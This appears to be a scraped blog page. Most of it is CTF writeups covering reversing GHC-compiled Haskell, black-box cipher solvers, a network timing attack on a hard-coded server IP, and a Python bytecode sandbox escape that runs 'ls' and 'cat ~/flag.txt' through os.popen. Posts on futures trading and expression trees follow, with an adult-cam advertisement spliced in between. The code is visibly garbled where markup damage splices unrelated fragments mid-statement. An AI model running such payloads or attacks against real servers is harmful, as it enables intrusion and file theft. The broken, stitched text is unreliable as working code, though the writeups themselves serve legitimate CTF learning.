Opening this up in Audacity and looking at the spectrogram, we see the letters “tinyurl” spelled out by the quick beeps. This suggests that we need to find a ‘shortcode’, and then visit http://tinyurl.com/.

The flavortext (“Don’t let your dreams be ones and zeroes”) suggests that we should be looking for something like binary. The somewhat irregular notes in the second half of the song (29.6s - 41.5s) are a candidate. Starting from the drop, we count with the beat, writing down a 0 for each time there is no note, and 1 for each time there is. The pitch is irrelevant.

This gives the string 011001100110101000101101001100110011000000110010. Doing this in real time was way to hard, but if we slowed the song down by 4x it was much more doable. Music training is recommended.

We have 48 bits, which is good, cause that’s a multiple of 8. Decoding to ASCII gives “fj-302”. http://tinyurl.com/fj-302 redirects to a Pastebin that says rgbCTF{subscr1b3_t0_qu1nt3c_0n_yt_plz}.

LYCH King

In retrospect, perhaps this should have been done black-box, like almost everything in this category (ARM1/ARM2/SadRev1/SadRev2) was. But hey, who doesn’t want to reverse compiled Haskell?

Yeah, this binary is Haskell that was compiled by GHC. That might be reasonably accessible to you, if you (1) know Haskell, (2) know how STG machines work, and (3) know GHC’s conventions for storing thunks and STG type data. I meet, like, 0.5/3 requirements.

Goolging for “Haskell decompiler” quickly turns up [https://github.com/gereeter/hsdecomp] as exactly what we need: a decompiler for GHC-compiled 64-bit executables. Great! Let’s try it out!

$ python3 runner.py ../../rgbctf/lych/lich Error in processing case at c3uZ_info Error: Error Location: 140 Disassembly: mov rax, qword ptr [rbp + 8] mov rcx, rbx and ecx, 7 cmp rcx, 1 jne 0x407d33 add r12, 0x18 cmp r12, qword ptr [r13 + 0x358] ja 0x407d48 mov qword ptr [r12 - 0x10], 0x407c28 mov qword ptr [r12], rax lea rbx, [r12 - 0x10] mov rsi, rbx mov r14, rax mov ebx, 0x4bd600 add rbp, 0x10 jmp 0x49cf08 Main_main_closure = >>= $fMonadIO getArgs (\s3mc_info_arg_0 -> $ putStrLn ((\Main_a_info_arg_0 -> !!ERROR!!) (head s3mc_info_arg_0))

The results are a bit disappointing. It got as far as recognizing that the program is printing out some function of the input, but then it errored. How do we handle errors? We comment them out!

[https://github.com/Timeroot/hsdecomp/commit/a9244145d89019b2e8b0f45a9e23f5c043ec8155]

Basically forcing the decompiler to plow through broken stuff. (We also fix one incorrect assumption about jae being the only branch used in a certain type of case statement.) We definitely don’t get correct decompilation, but we get a lot more than before.

Main_main_closure = >>= $fMonadIO getArgs (\s3mc_info_arg_0 -> $ putStrLn ((\Main_a_info_arg_0 -> case == r3jo_info Main_a_info_arg_0 [] of c3uZ_info_case_tag_DEFAULT_arg_0@_DEFAULT -> zipWith (on (\s3m3_info_arg_0 s3m3_info_arg_1 s3m3_info_arg_2 s3m3_info_arg_3 s3m3_info_arg_4 -> . (\s3m1_info_arg_0 s3m1_info_arg_1 s3m1_info_arg_2 s3m1_info_arg_3 s3m1_info_arg_4 -> fmap $fFunctor-> chr) (\s3m2_info_arg_0 s3m2_info_arg_1 s3m2_info_arg_2 s3m2_info_arg_3 s3m2_info_arg_4 -> xor $fBitsInt)) ord) Main_a_info_arg_0 ((\Main_g_info_arg_0 Main_g_info_arg_1 -> case == r3jo_info Main_g_info_arg_0 [] of c3se_info_case_tag_DEFAULT_arg_0@_DEFAULT -> take (length $fFoldable[] Main_g_info_arg_0) (intercalate [] (map (\s3lV_info_arg_0 s3lV_info_arg_1 s3lV_info_arg_2 s3lV_info_arg_3 s3lV_info_arg_4 -> show $fShowInteger) (Main_v_info Main_g_info_arg_1 (length $fFoldable[] Main_g_info_arg_0) (S# 0)))) ) Main_a_info_arg_0 (S# 1997) ) ) (head s3mc_info_arg_0) ) ) r3jo_info = $fEq[] $fEqChar Main_v_info = \Main_v_info_arg_0 Main_v_info_arg_1 Main_v_info_arg_2 -> case == $fEqInteger Main_v_info_arg_0 (Main_r_info Main_v_info_arg_0) of c3qB_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case >= $fOrdInteger Main_v_info_arg_2 (toInteger $fIntegralInt Main_v_info_arg_1) of c3qM_info_case_tag_DEFAULT_arg_0@_DEFAULT -> : Main_v_info_arg_0 (Main_v_info ((\Main_p_info_arg_0 -> + $fNumInteger Main_p_info_arg_0 (Main_r_info Main_p_info_arg_0)) Main_v_info_arg_0) Main_v_info_arg_1 (+ $fNumInteger Main_v_info_arg_2 (Main_mag_info Main_v_info_arg_0))) Main_mag_info = \Main_mag_info_arg_0 -> case == $fEqInteger Main_mag_info_arg_0 (S# 0) of c3mD_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case > $fOrdInteger Main_mag_info_arg_0 (S# 0) of c3mI_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case patError 4871050 Main_r_info = \Main_r_info_arg_0 -> case == $fEqInteger Main_r_info_arg_0 (S# 0) of c3oc_info_case_tag_DEFAULT_arg_0@_DEFAULT -> + $fNumInteger (* $fNumInteger (mod $fIntegralInteger Main_r_info_arg_0 (S# 10)) (^ $fNumInteger $fIntegralInteger (S# 10) (- $fNumInteger (Main_mag_info Main_r_info_arg_0) (S# 1)))) (Main_r_info (div $fIntegralInteger Main_r_info_arg_0 (S# 10)))

Even if you know Haskell, this is pretty unreadable, because

Everything is named very obtusely

Everything is pretty in prefix notation (e.g. + (f X) ((g h) Y)) instead of f X + g h Y)

A good chunk of code is missing.

We can’t fix the third part, but we can fix the first two, and use our pRoGraMmErs inTUiTioN to fill in the blanks for the third. Cleaned up:

Main_main_closure = >>= $fMonadIO getArgs (\ARGS -> $ putStrLn ((\ARG0 -> case (ARG0 == "") of __default -> zipWith (on (. (fmap $fFunctor-> chr) (xor $fBitsInt)) ord) HEAD ((\HEAD0 YY -> case (XX == "") of __default -> take (length HEAD0) (intercalate [] (map show (Function_V YY (length HEAD0) 0))) ) HEAD 1997 ) ) (head ARGS) ) ) String_Eq = $fEq[] $fEqChar -- Adds X to its digital reversal, repeatedly, in a loop -- Each time it adds the current number of digits in X to Z, a running counter (starts at 0) -- Continues until Z exceeds Y, the limit. Y is the length of HEAD0. Function_V X Y Z = case (X == (Function_R X)) of __default -> case (Z >= (toInteger Y)) of __default -> : X (Function_V ((X + (Function_R X))) Y (Z + (Function_mag X))) -- decompilation broke down here entirely -- but based on context, will guess it's the magnitude (Base 10) of A0. Function_mag A0 = case (A0 == 0) of __default -> case (A0 > 0) of __default -> case (A0 patError "lich_cipher.hs:(20,1)-(23,15)|function mag" -- returns R(X/10) + (X%10)*(10^mag(X)). -- this computes the _base 10 digit reversal_ of X. Function_R X = case (X == 0) of __default -> ( (X mod 10) * (10 ^ ((Function_mag X) - 1))) + (Function_R (X div 10))

So now the operation is pretty clear. It takes a number, 1997, and repeatedly adds it to its own base-10 reversal. It continues this until (a) it reaches a palindromic sum or (b) we have more terms than we have characters in our input string. This is what Function_V accomplishes, using Function_mag and Function_R as components.

Then intercalate [] (map show ...) turns these integers into strings and joins them. So for the sequence 1997 -> 1997 + 7991 = 9988 -> 9988 + 8899 = 18887 -> ..., we get the list ["1997", "9988", "18887", ...], and then the string "1997998818887".... The zipWith ... fmap structure is a bit obtuse, but we see xor, and HEAD (the input) and the digit string, so we can guess that it’s XORing the input with the magic digit string.

A quick trial of the program confirms this. Wow, so it’s just XORing the input with this magic string. Maybe I should have noticed that the program was its own inverse…? Nah.

So, we have encrypted text, and the program undoes itself. But we’re told the problem “has been changed very slightly” since it was first written. Two options: patch the program, or reimplement it. Patching it in IDA is easy, since searching for the bytes CD 07 (1997 in hex) turns it up right away. The relevant instruction is at 0x407C57 for those curious. I try a few different values (1997 is a year, right? So maybe 2020? 2019? 2000? 1996? 1998? Or maybe 2008, the year that the Lich King came out for WoW?) but none work, and it’s kind of slow doing this by patching it in IDA over and over.

So I reimplement the code to try a wide variety of seeds:

img = "./lich" fh = open('./cipher', 'rb') goal = bytearray(fh.read()) fh = open('./uncipher', 'rb') other = bytearray(fh.read()) def revDig(num): rev_num=0 while (num > 0): rev_num = rev_num*10 + num%10 num = num//10 return rev_num # Function to check whether the number is palindrome or not def isPalindrome(num): return (revDig(num) == num) def getPad(seed): res = "" while not isPalindrome(seed) and len(res) invParts = new Hashtable(); String[] classes = new String[]{"bv","cd","fg","gl","gq","gx","iy","mo","pr","qa","qg","vh","wz","xp","xq"}; char xorKey = new EncryptionKeyInstantiator().getEncryptionKeyFactory().getEncryptionKey(); for(String clazz : classes){ Class> clz = Class.forName(clazz); Object object = clz.getConstructors()[0].newInstance(); Method[] methods = clz.getDeclaredMethods(); for(Method m : methods){ try { String out = (String)m.invoke(object); String out2 = (String)clz.getDeclaredMethod(out).invoke(object); String out3 = (String)clz.getDeclaredMethod(out2).invoke(object); String in_enc = clazz + m.getName(); System.out.println(in_enc+" ~=> "+out3); char[] in_arr = in_enc.toCharArray(); for(int i=0;i "+out3); } catch(Exception e){ System.out.println(e); } } } String ans = ""; for(int i=0; i<goalstring.length i string bit="goalString.substring(i," bot="invParts.get(bit);" system.out.println> "+bot); ans += bot; } System.out.println(ans);

and then javac Main.java && java Main, we get Nice. Flag: rgbCTF{enterprisecodeee}.

Ralphie!

We’re given an image of a “decoder ring” of yore – but looking more closely, in the top left, is a QR code, with a variety of colors. Presumably we want something with just one color. So open it up in GIMP and play with the levels: go to “Curves”, and give the red channel a curve that is flat at 0 until the very very end. We’re left with a nice cyan QR code. Drop it in [https://zxing.org/w/decode.jspx] and we get a flag, rgbCTF{BESURETODRINKYOUROVALTINE}.

Sadistic Reversing 1

The program takes in a string and outputs an array of the style

[100, 93, 12, ... ]

and we want to find the input that matches the given output. Opening it up in IDA, the relevant strings show this is running on the Graal SubstrateVM, a toolchain for compiling Java to native code. (This theory is bolstered by the fact that invoking the program with no argument leads to a java.lang.ArrayIndexOutOfBoundsException). Reversing compiled SubstrateVM doesn’t sound like much fun, so can we blackbox this?

Some experimentation reveals that, like many simple ciphers (ahem, ARM2) the Nth character only depends on the input up to N. So we just try progressively longer things finding the right character by guessing at each step.

Solver script:

import subprocess import string import random img = "./itJX.so" goal = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94] query = '' matchingNow = 0 while True: sub = random.choice(string.printable) trial = query + sub result = subprocess.Popen([img, trial], universal_newlines=True, stdout=subprocess.PIPE) arr = eval(result.stdout.readlines()[0].strip()) matchingTrial = 0 if(arr == goal[0:len(arr)]): query = trial matchingNow = matchingTrial print("Built ",query)

After a couple seconds, Built rgbCTF{th1s_pr0bably_w@s_d1ff1cult6362}

Sadistic Reversing 2

This is a lot like Sadistic Reversing 1, but it seems that certain numbers of output depend on other ones elsewhere in the input – but still, the first byte of output is determined by just one thing, and the second byte is determined by two, and so on. Probably some loop of the form

long state = 0; for(int i=0; i<input.length i char next="input.charAt(" mystery1 result.append mystery2 state="mystery3(state,next);" so let blackbox this. since we not sure where have to change a byte in input get the right output just choose random place and hope it improves it. import subprocess string img="./itwk.so" goal="[117," query="rgbCTF{th1s_pr0bably_w@s_d1ff1cult6362_aaabbbcccd}" matchingnow="0" while true: flipper="random.randrange(0,len(query))" sub="random.choice(string.printable)" trial="query[0:flipper]" result="subprocess.Popen([img," universal_newlines="True," stdout="subprocess.PIPE)" arr="eval(result.stdout.readlines()[0].strip())" matchingtrial="0" if> matchingNow: query = trial matchingNow = matchingTrial print("Built ",query)

Takes about two minutes to run. (And what a shame I didn’t optimize it – we missed first blood by a matter of seconds!)

Secure RSA

We are given the following nonsense:

Secure RSA (SRSA) is a new, revolutionary way to encrypt your data that ensures the original message is unrecoverable by hackers. Top scientists from around the world have confirmed this mathematically irrefutable fact. 3 of our very own RGBSec members have developed this method, and we present it to you here. Granted, the method is very simple, and we aren't quite sure why nobody has thought of it before. Levying the power of uninjectivity, we set e to a small number. 0, in fact. Let's calculate the cipher now: (anything)^0 = 1. Since the message before encryption could have been any number in the world, the ciphertext is uncrackable by hackers. n: 69696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969 e: 0 c: 1

Well, yes, okay, there’s clearly no way to undo this encryption, but the flag data has to be somewhere – the flavortext then? We have a lot of flavortext. Looking at the first letters of each sentence:

ST3GL0LS

so the flag is rgbCTF{ST3GL0LS}.

Time Machine

The “time machine” here immediately hints a timing attack. Indeed, what does the binary do?

Generate a securely random password from the alphabet ABC...XYZ

Check user input against the password, one character at a time, returning as soon as it fails

Let the user try again, up to 250 times

If the user input matches, print out the flag.

The “one character at a time” part is what makes this vulnerable as a timing attack, as strings that match on longer prefixes take longer to check. This is over the network, so a few extra nanoseconds of checking would be totally unrecognizable, but the challenge server helpfully pauses for a whole second after each matching character. This makes the timing attack easy.

Solver script:

from socket import socket from telnetlib import Telnet import time allowed = "UVWXYZAFBCDQRSTGHIJNOPKLEM" sock = socket() sock.connect(('167.172.123.213', 13373)) #sock.connect(('localhost', 5555)) print("Header: ",sock.recv(1024)) print("Header2: ",sock.recv(1024)) known = "" for i in range(8): maxtime = 0 bestchar = "-" for trial in allowed: query = known + trial + "U"*(7-len(known)) print "Try ",query start = time.time() sock.send(query+'\n') result = sock.recv(1024) print("> " + result) result = sock.recv(1024) print("> " + result) end = time.time() tt = 1000*(end-start) print "Time = ",tt if(tt > maxtime): maxtime = tt bestchar = trial print "Keep ",bestchar known += bestchar print "Think it's ",known sock.send(known+'\n') result = sock.recv(1024) print("> " + result) t = Telnet() t.sock = sock t.interact() sock.close()

Too Slow

We’re given a binary which, we are told, will output the flag, albeit very slowly. The binary has two ffunctions: generate_key(), which returns an int32, and win(), which takes that int32 and generates the key. Figuring that generate_key() will probably be the slow part, let’s reverse that first. Hex-Rays gives

__int64 generate_key() { int v0; // eax __int64 v2; // [rsp-8h] [rbp-8h] __asm { endbr64 } for ( *((_DWORD *)&v2 - 2) = 0; *((_DWORD *)&v2 - 2) > (8*(i%4)))&0xFF); int aByte = (int)((a >> (8*i))&0xFF); int res = kByte ^ aByte; System.out.print((char)(res)); } } }

giving the flag rgbCTF{pr3d1ct4bl3_k3y_n33d5_no_w41t_cab79d}.

Ye Old PRNG

We are strongly suggested that this is an “old” PRNG. Googling for old random number generation implementations mostly brings up stuff about LCGs ([https://en.wikipedia.org/wiki/Linear_congruential_generator]) and LFSRs ([https://en.wikipedia.org/wiki/Linear_feedback_shift_register]), so we’re expecting one of those.

Connecting to the server, we can request numbers that are 3 to 100 digits long; it will then produce a sequence of random numbers for us. One of those first things to jump out is that each number appears to be entirely determined by the previous: in particular, when using 3 digits, “69” is always seen to generate “476”, and this appears to occur rather frequently.

Moving up to 100 digits numbers, it’s pretty clear that it’s not an LCG. An LCG is affine, so two inpurt numbers that are “a” apart lead to k*a difference in the results; from two (input,output) pairs we can determine what k is, and then check this against a third pair. It doesn’t work. It could be an LFSR but it’s not clear exactly how that would translate here. An LFSR generates a stream of bits, which would need to be converted to these integers. And as we noted, there doesn’t seem to be any hidden state.

Another big giveaway is that on the n=4 setting, we sometimes see loops like 4200 -> 6400 -> 9600 and so on, all ending with double zeros. There’s something base-10ish going on here.

A bit more digging on PRNGs brings us to [https://en.wikipedia.org/wiki/List_of_random_number_generators], where we see that the oldest one is the “middle square” algorithm. This fits perfectly: 69*69 = 4761 -> 476, and 4200*4200 = 17640000 -> 6400.

We write this in Mathematica as f[a_] := IntegerDigits[a^2, 10][[50, 150]], although a bit of padding comes in to play with a^2 is not full length. We can predict numbers and we pass the server. </input.length></goalstring.length>

Algorithmic Trading in the Time of COVID

I thought it would be interesting to look at two of my future-trading algorithms at Quantiacs, in how they responded to COVID’s shocks on the markets. First is solipsistVelitation, which is my most reliable / best performing c5ode:

You can see that it’s had a steady upwards trajectory of about 5.6% APY. When COVID hit, the markets did some very weird things, and it briefly lost a significant amount of money; but then, they bounced back, and (somewhat surprisingly) it was back on track where it should have been. Further analysis showed that it didn’t trade much during this time. I interpret this as, the model learned how much certain commodities should be worth, and this didn’t fundamentally change. Once things went back to being sane, it was still doing what it was supposed to do.

I was looking through my set of algorithms for what else has been doing well over the years (there is obvious hindsight bias present here), and I was surprised to see metamorphicSquirt in there:

This is not a nice graph. The dark blue (first year or so) is the “backtest” data, that is, how well it performs on the data it was trained on. It’s really easy to make an algorithm that performs well on old data:

The light blue line shows how it performs on new data. And you can see that it’s flat, no significant profit on average. This means the model failed to generalize, and this was overall a failed experiment.

What I found surprising was that, after 3 years of doing nothing*, it suddenly made 13% profit from the March market shock. And it appears to mostly have hung onto that.

Random luck? Probably. I mean I literally sorted my algorithms by performance and started going in order, which definitely boosts my chances of spotting one that made a profit on March’s shocks, as opposed to a loss. If I looked a bit more I would probably find the opposite too. Still, there’s a cute narrative here:

SolipsistVelitation actually has some forward-looking ability, and has some idea about how much things will probably be worth in the long run. When the markets went crazy, its position briefly lost a lot of value, because things were “misvalued”. But it held on its position, and when things returned to normal, it was back where it ‘should’ be.

MetamorphicSquirt failed to generalize about the future. Instead, it probably learned something like “how much will particular futures be worth in the late 2010′s″, which is great if you’re trying to make profit up until 2017, and pretty useless afterwards. On the other hand, when a bunch of things were priced weirdly, it bought and sold based on the prices it had memorized. When prices started to return to normal, it sold and bought them back at a profit. This works in times of upheaval, but only if things actually do return to normal in some form.

* “nothing” in the sense of 0.89% performance with a volatility of 3.96%. That’s one standard deviation of profit per 4 years, so across three years this is less than 1-sigma away from the mean; consider that over 2-sigma is needed for p < 0.05 confidence.

(Nothing in this post constitutes professional and/or financial advice, performance data or any recommendation that any security, portfolio of securities, investment product, transaction or investment strategy is suitable for any specific person. I am not a financial advisor.)

RACTF: Puffer Overflow

This challenge is just an exercise in "write some Python assembly". Although Python gives lots of nice utilities for dumping out the code for a particular function, there are some funny things about how they load your code. This is the relevant part on the server:

consts = (*range(256), ) names = ("chr", "ord", "globals", "locals", "getattr", "setattr") # Tag on a trailing RETURN call just incase. code += b"S\x00" # Construt the code object inject = CodeType( #0, # For python 3.8 0, 0, 0, stacksize, 2, code, consts, names, (), "", "", 0, b"", (), () ) # Create a copy of globals() and load in builtins. builtins aren"t # normally included in global scope. globs = dict(globals()) globs.update({i: getattr(builtins, i) for i in dir(builtins)}) # Go go go! return eval(inject, globs)

The key things here, some making it easier and some making it harder:

We're limited to only certain functions: chr, ord, globals, locals, getattr, setattr.

We're limited only to numeric constants from 0 to 256. This means no strings, at all.

But, our globals() will have all builtin functions! Which makes this a lot more sane.

The challenge helpfully offers us a put_on_stack function to load up to 32 bytes as a string, but I was lazy and wanted to solve this without writing any Python bytecode by hand. My goal now is to write a Python function that is compatible with these constants and names lists. Even if I wrote

def f(): return globals()[chr(7)+chr(9)]

it wouldn't work with their loading, because the names would be in the order ("globals","chr"), and the constants would be in the order (7,9). So when they load the code, it would actually run chr()[ord(0)+ord(1)] -- which would obviously fail.

So I want my code to have constants and names in the right order. So my function starts off as:

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+chr(3)+chr(4)+chr(5)+chr(6)+chr(7)+chr(8)+chr(9)+chr(10)+chr(11)+chr(12)+chr(13)+chr(14)+chr(15)+chr(16)+chr(17)+chr(18)+chr(19)+chr(20)+chr(21)+chr(22)+chr(23)+chr(24)+chr(25)+chr(26)+chr(27)+chr(28)+chr(29)+chr(30)+chr(31)+chr(32)+chr(33)+chr(34)+chr(35)+chr(36)+chr(37)+chr(38)+chr(39)+chr(40)+chr(41)+chr(42)+chr(43)+chr(44)+chr(45)+chr(46)+chr(47)+chr(48)+chr(49)+chr(50)+chr(51)+chr(52)+chr(53)+chr(54)+chr(55)+chr(56)+chr(57)+chr(58)+chr(59)+chr(60)+chr(61)+chr(62)+chr(63)+chr(64)+chr(65)+chr(66)+chr(67)+chr(68)+chr(69)+chr(70)+chr(71)+chr(72)+chr(73)+chr(74)+chr(75)+chr(76)+chr(77)+chr(78)+chr(79)+chr(80)+chr(81)+chr(82)+chr(83)+chr(84)+chr(85)+chr(86)+chr(87)+chr(88)+chr(89)+chr(90)+chr(91)+chr(92)+chr(93)+chr(94)+chr(95)+chr(96)+chr(97)+chr(98)+chr(99)+chr(100)+chr(101)+chr(102)+chr(103)+chr(104)+chr(105)+chr(106)+chr(107)+chr(108)+chr(109)+chr(110)+chr(111)+chr(112)+chr(113)+chr(114)+chr(115)+chr(116)+chr(117)+chr(118)+chr(119)+chr(120)+chr(121)+chr(122)+chr(123)+chr(124)+chr(125)+chr(126)+chr(127)+chr(128)+chr(129)+chr(130)+chr(131)+chr(132)+chr(133)+chr(134)+chr(135)+chr(136)+chr(137)+chr(138)+chr(139)+chr(140)+chr(141)+chr(142)+chr(143)+chr(144)+chr(145)+chr(146)+chr(147)+chr(148)+chr(149)+chr(150)+chr(151)+chr(152)+chr(153)+chr(154)+chr(155)+chr(156)+chr(157)+chr(158)+chr(159)+chr(160)+chr(161)+chr(162)+chr(163)+chr(164)+chr(165)+chr(166)+chr(167)+chr(168)+chr(169)+chr(170)+chr(171)+chr(172)+chr(173)+chr(174)+chr(175)+chr(176)+chr(177)+chr(178)+chr(179)+chr(180)+chr(181)+chr(182)+chr(183)+chr(184)+chr(185)+chr(186)+chr(187)+chr(188)+chr(189)+chr(190)+chr(191)+chr(192)+chr(193)+chr(194)+chr(195)+chr(196)+chr(197)+chr(198)+chr(199)+chr(200)+chr(201)+chr(202)+chr(203)+chr(204)+chr(205)+chr(206)+chr(207)+chr(208)+chr(209)+chr(210)+chr(211)+chr(212)+chr(213)+chr(214)+chr(215)+chr(216)+chr(217)+chr(218)+chr(219)+chr(220)+chr(221)+chr(222)+chr(223)+chr(224)+chr(225)+chr(226)+chr(227)+chr(228)+chr(229)+chr(230)+chr(231)+chr(232)+chr(233)+chr(234)+chr(235)+chr(236)+chr(237)+chr(238)+chr(239)+chr(240)+chr(241)+chr(242)+chr(243)+chr(244)+chr(245)+chr(246)+chr(247)+chr(248)+chr(249)+chr(250)+chr(251)+chr(252)+chr(253)+chr(254)+chr(255)

all of which does nothing except reference those things in the right order. Now for the actual payload code, I would like to run globs['print'](getattr(globals()['open']('flag.txt'),'read')())

Since I can't have any strings, I "escape" them to chr's using

def bou(s): return '+'.join("chr("+str(ord(i))+")" for i in s)

e.g. bou('print') gives chr(111)+chr(112)+chr(101)+chr(110). I run this then with

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+ ... snip getattr(globs[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")

(The first 32 "a"s are to skip the stack operations they give us.) When I try this, I run into some prolems. First, the server stops reading the input bytecode at the first newline. Newline is ASCII value 10, and when I refer to the constant "10", which is also number 10 in the constants table, it cuts the code off early. So:

cc[cc.index(10)] = 11

Now the code runs great on their server. But I get no output. Maybe flag is somewhere else? I try getattr(globs['__import__']('os'),'system')('ls'), and still get no output. Then I realize that's probably an issue of stdout.

When Python does a forking server internally, it doesn't actually fork the process -- that would be dumb -- it just spawns threads. Each thread gets a virtual "stdout" that is used by Python statements such as print. But this isn't the actual stdout associated with it at the OS level. So when python calls system, that system command gets the Python process's original stdout. So the output of ls is just getting printed in the terminal of the server hosting it.

We could do fancy things like spawning a reverse shell, which would certainly work. But they've given us something easier: our code returns a value, which then gets printed. So all we need is to read the output of flag and return it as a string. But, we still need to find out where the flag is, because it doesn't seem to just be flag.txt, so we need to run ls.

Running system on Python just dumps output to stdout. To capture the output, use

return getattr(getattr(globs['__import__']('os'),'popen')('ls'),'read')()

Having run this, we get a dump of our working directory -- which turns out to be /. So then run

return getattr(getattr(globs['__import__']('os'),'popen')('cat ~/flag.txt'),'read')()

to get the flag.

Final code:

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+...snip...+chr(255) return getattr(getattr(globals()[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)),chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(99)+chr(97)+chr(116)+chr(32)+chr(126)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) cc[97] = 11 with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")

#hacking #python #ctf #overflow #ractf #puffer-overflow #bytecode

Hack-a-Sat CTF Writeup: My 0x20 (aka ”Myspace”)

This is a writeup for the [Hack-a-Sat Quals](https://www.hackasat.com/ official website). (CTFTime)

When starting the problem, we're given a file with a list of coordinates and magnitudes, much like the previous problem "Spacebook". Here's a sample of the data:

... 0.12917758470082333, -0.2996856516398318, 0.9452521683720546, 549.118689999994 0.9470828032590738, 0.18779474775162674, -0.2603215252103395, 548.9928088571726 0.3236837032119143, -0.8780904407801409, 0.35240039455931266, 548.9327142902704 0.798881708067067, -0.21898034565040206, 0.5602103397248893, 548.9047957821459 -0.7525373837675844, 0.6060528002980617, 0.2576576978922172, 548.9041671760551 0.5549178539066054, 0.160929115618912, 0.8161911511170666, 548.8550712650854 ...

and so on, with 2500 lines. Like Spacebook, these are presumably the (x,y,z,magnitude) coordinates of all stars. We note that the (x,y,z) coordinates are are all unit vectors, and the magnitudes range from 550 to 50.

Next, we connect to the server, and after providing a ticket, we are given a list of "query" coordinates, and a prompt:

>> nc myspace.satellitesabove.me 5016 -0.005103, -0.000622, 0.999987, 22.368262 0.034002, -0.142792, 0.989169, 22.305011 -0.086138, -0.111392, 0.990036, 11.131303 0.056385, 0.014707, 0.998301, 10.988331 -0.042894, 0.159913, 0.986199, 10.649103 0.129499, -0.096808, 0.986843, 11.112766 0.040501, 0.008102, 0.999147, 10.688194 -0.168620, 0.029604, 0.985236, 10.479848 0.088160, -0.115219, 0.989420, 9.767099 -0.102337, -0.126756, 0.986641, 10.523903 -0.073148, 0.124094, 0.989571, 9.631445 -0.161086, 0.036724, 0.986257, 9.584012 -0.058411, -0.158301, 0.985662, 10.053369 0.028837, 0.008153, 0.999551, 9.017303 0.044306, 0.042326, 0.998121, 8.170405 -0.138748, 0.032492, 0.989794, 8.064267 -0.001273, 0.102120, 0.994771, 7.653594 -0.054005, -0.142963, 0.988254, 6.228814 Index Guesses (Comma Delimited):

Two key things to note:

The coordinates are all very nearly (0,0,1)

The magnitudes are much smaller than any in the reference database.

Like Spacebook, with think this a problem of [point set registration](https://en.wikipedia.org/wiki/Point_set_registration Wikipedia), identifying which stars in the query match up with which stars in the image. Our "camera" is facing in one direction and only sees a small section of the sky, which is why all the vectors are near (0,0,1). And, since the brightness is not normalized, we don't know what the magnitudes are supposed to correspond to.

In the real world, we would try to estimate the camera's calibration parameters (probably a linear model, for this problem?) and then try to fit. But I figured it would be easier for this problem, which probably had zero noise in the star locations, to just view this as an image recognition task.

The standard approach to image recongition is to compute invariant features that don't depend on your viewpoint. For us, there's really only one thing to do: compute the distances between stars.

This actually gives us a pretty simple algorithm right off the bat:

In the database, compute all 2500x2500 pairwise distances of stars.

Each star now has a set of 2499 distances; sort this list, and consider it the star's "signature".

In input data from the server, we have 20 stars. For each star i:

Compute its 19 distances to its neighbors, a "subsignature".

Check the subsignature for the closest match in the database, where the match error is the sum of differences from the observed distance to the closest distance in the database.

Match star i to the star in the database with the best match.

The whole solution is only 32 lines of python.

import numpy as np from numpy import genfromtxt starlocs = genfromtxt('test.txt', delimiter=',') #reference database nsat = np.shape(starlocs)[0] #number of challenge stars pdist = np.zeros((nsat,nsat)) #pairwise distances for i in range(nsat): for j in range(nsat): pdist[i,j] = np.linalg.norm(starlocs[i,0:3] - starlocs[j,0:3]) dists = np.zeros((nsat,nsat)) #sorted pairwise distances for i in range(nsat): dists[i,:] = pdist[i,:] dists[i,:] = np.sort(dists[i,:]) def dd(row, d2): #error between "signatures" err = 0 for i in d2: err += np.min(np.abs(row - i)) return err def bestrow(d2): #get the best match in the database errs = np.zeros(nsat) for i in range(nsat): errs[i] = dd(dists[i,:], d2) return (np.argmin(errs), np.min(errs)) ch = genfromtxt('chal.txt', delimiter=',') #copy-pasted the challenge from the server here. nch = np.shape(ch)[0] #number of challenge stars pd2 = np.zeros((nch,nch)) #pairwise distance of challenge stars for i in range(nch): for j in range(nch): pd2[i,j] = np.linalg.norm(ch[i,0:3] - ch[j,0:3]) ans = () for s in range(5): ans += (bestrow(pd2[s,:])[0],) #compute the best match for each print(ans) #and print

After the initial hurdle of computing the 6 million distances (~30 seconds, obviously could have been much faster), it takes just a couple seconds to solve any challenge. We only print out the first 5, because the server only required that we submit the indices of any 5. Running it the first time, the indices came out as (40, 185, 202, 601, 742), which was very confidence inspiring: they were already sorted (and thus, in correct order of magnitude!) A minute later we had the flag.

#ctf #ctftime #hackasat #image-recognition #python #hacking #satellite #space

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality✓ Free Actions

Free to watch • No registration required • HD streaming

Higher-res images for my last post

Expression trees

Elementary functions can be compactly represented by a binary tree with integers at the nodes. Here's how!

BrainF*** for your algebra

To begin with, a definition: what's an elementary function? There's a hierarchy of sorts where you allow increasing numbers of operations. First there's an abelian group, where we're allowed to make expressions from the elements 0, 1, and our variable x, using addition and subtraction. This gives you just the functions of the form a+bx, where a and b are integers.

Then there's a ring, where we can also multiply (not divide!) functions by each other. This gives all polynomials in x with integer coefficients.

